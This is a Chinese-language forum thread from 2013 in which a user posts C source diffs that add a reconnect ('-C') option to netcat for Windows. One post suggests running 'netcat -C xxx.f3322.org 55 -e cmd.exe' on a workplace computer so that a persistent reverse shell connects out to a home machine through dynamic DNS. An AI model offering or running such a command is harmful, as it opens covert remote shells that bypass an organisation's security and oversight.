当前时区为 UTC + 8 小时



发表新帖 回复这个主题  [ 3 篇帖子 ] 
作者 内容
1 楼 
 文章标题 : update netcat 1.12 to 1.13
帖子发表于 : 2013-04-30 21:10 

注册: 2007-11-27 11:43
帖子: 39
送出感谢: 0 次
接收感谢: 0 次
update netcat 1.12 to 1.13

why?

modify by
附件:
邮件.JPG
邮件.JPG [ 2.16 KiB | 被浏览 563 次 ]
2013/04/30

netcat -C ip port same as netcat -L -p port

how to update:

- while ((x = getopt (argc, argv, "ade:g:G:hi:lLno:p:rs:tuvw:z")) != EOF) {
+ while ((x = getopt (argc, argv, "aCde:g:G:hi:lLno:p:rs:tuvw:z")) != EOF) {

#ifdef WIN32
WSACleanup();
#endif

if (cycle == 1)
goto recycle;

changed to:

if (cycle == 1)
goto recycle;

#ifdef WIN32
WSACleanup();
#endif

https://github.com/chenghao11/netcat-1. ... 12-to-1.13

[flash=]http://v.youku.com/v_show/id_XNTUwMjI0Mzg4.html[/flash]


页首
 用户资料  
 
2 楼 
 文章标题 : Re: update netcat 1.12 to 1.13
帖子发表于 : 2013-05-01 17:30 

注册: 2007-11-27 11:43
帖子: 39
送出感谢: 0 次
接收感谢: 0 次
netcat -C选项的好处 :
可以有的应用,netcat -C xxx.f3322.org 55 -e cmd.exe。

比如你单位上可以用上面的简单的命令作为一个远控的服务端。

而把你家里的无线路由器的ip地址放到域名里xxx.f3322.org!

这样你就可以在家里远控单位上的机器了。

当然要映射端口55到你家里的机器的55号端口。

这里可以是内网的机器。

而不用用windows的计划服务或linux的定时服务了。


页首
 用户资料  
 
3 楼 
 文章标题 : Re: update netcat 1.12 to 1.13
帖子发表于 : 2013-05-03 20:47 

注册: 2007-11-27 11:43
帖子: 39
送出感谢: 0 次
接收感谢: 0 次
how to update:

unsigned int o_wait = 0;
USHORT o_zero = 0;
+USHORT o_connect = 0;


rr = recv (fd, bigbuf_net, BIGSIZ, 0);

if (rr <= 0) {

Debug (("recv rr <= 0 "))
+ if (_isatty( 1 ) == 0) /* > recv = 0,fix by chenghao0511#gmail.com*/
+ exit(0);
FD_CLR (fd, ding1); /* net closed, we'll finish up... */


rr = read (0, bigbuf_in, BIGSIZ);
if (rr <= 0) { /* at end, or fukt, or ... */
close (0);

+ shutdown(fd, 0x02); /* by chenghao0511 */
+ closesocket (fd);
+ if(o_connect)
+ exit(0);
+ return (0);
} else {
rzleft = rr;
zp = bigbuf_in;

case 'C': /* connect then cycle back to start instead of exiting */
+ o_connect = 1;
cycle = 1;
break;


页首
 用户资料  
 
显示帖子 :  排序  
发表新帖 回复这个主题  [ 3 篇帖子 ] 

当前时区为 UTC + 8 小时


在线用户

正在浏览此版面的用户:没有注册用户 和 3 位游客


不能 在这个版面发表主题
不能 在这个版面回复主题
不能 在这个版面编辑帖子
不能 在这个版面删除帖子
不能 在这个版面提交附件

前往 :  
本站点为公益性站点,用于推广开源自由软件,由 DiaHosting VPSBudgetVM VPS 提供服务。
我们认为:软件应可免费取得,软件工具在各种语言环境下皆可使用,且不会有任何功能上的差异;
人们应有定制和修改软件的自由,且方式不受限制,只要他们自认为合适。

Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
简体中文语系由 王笑宇 翻译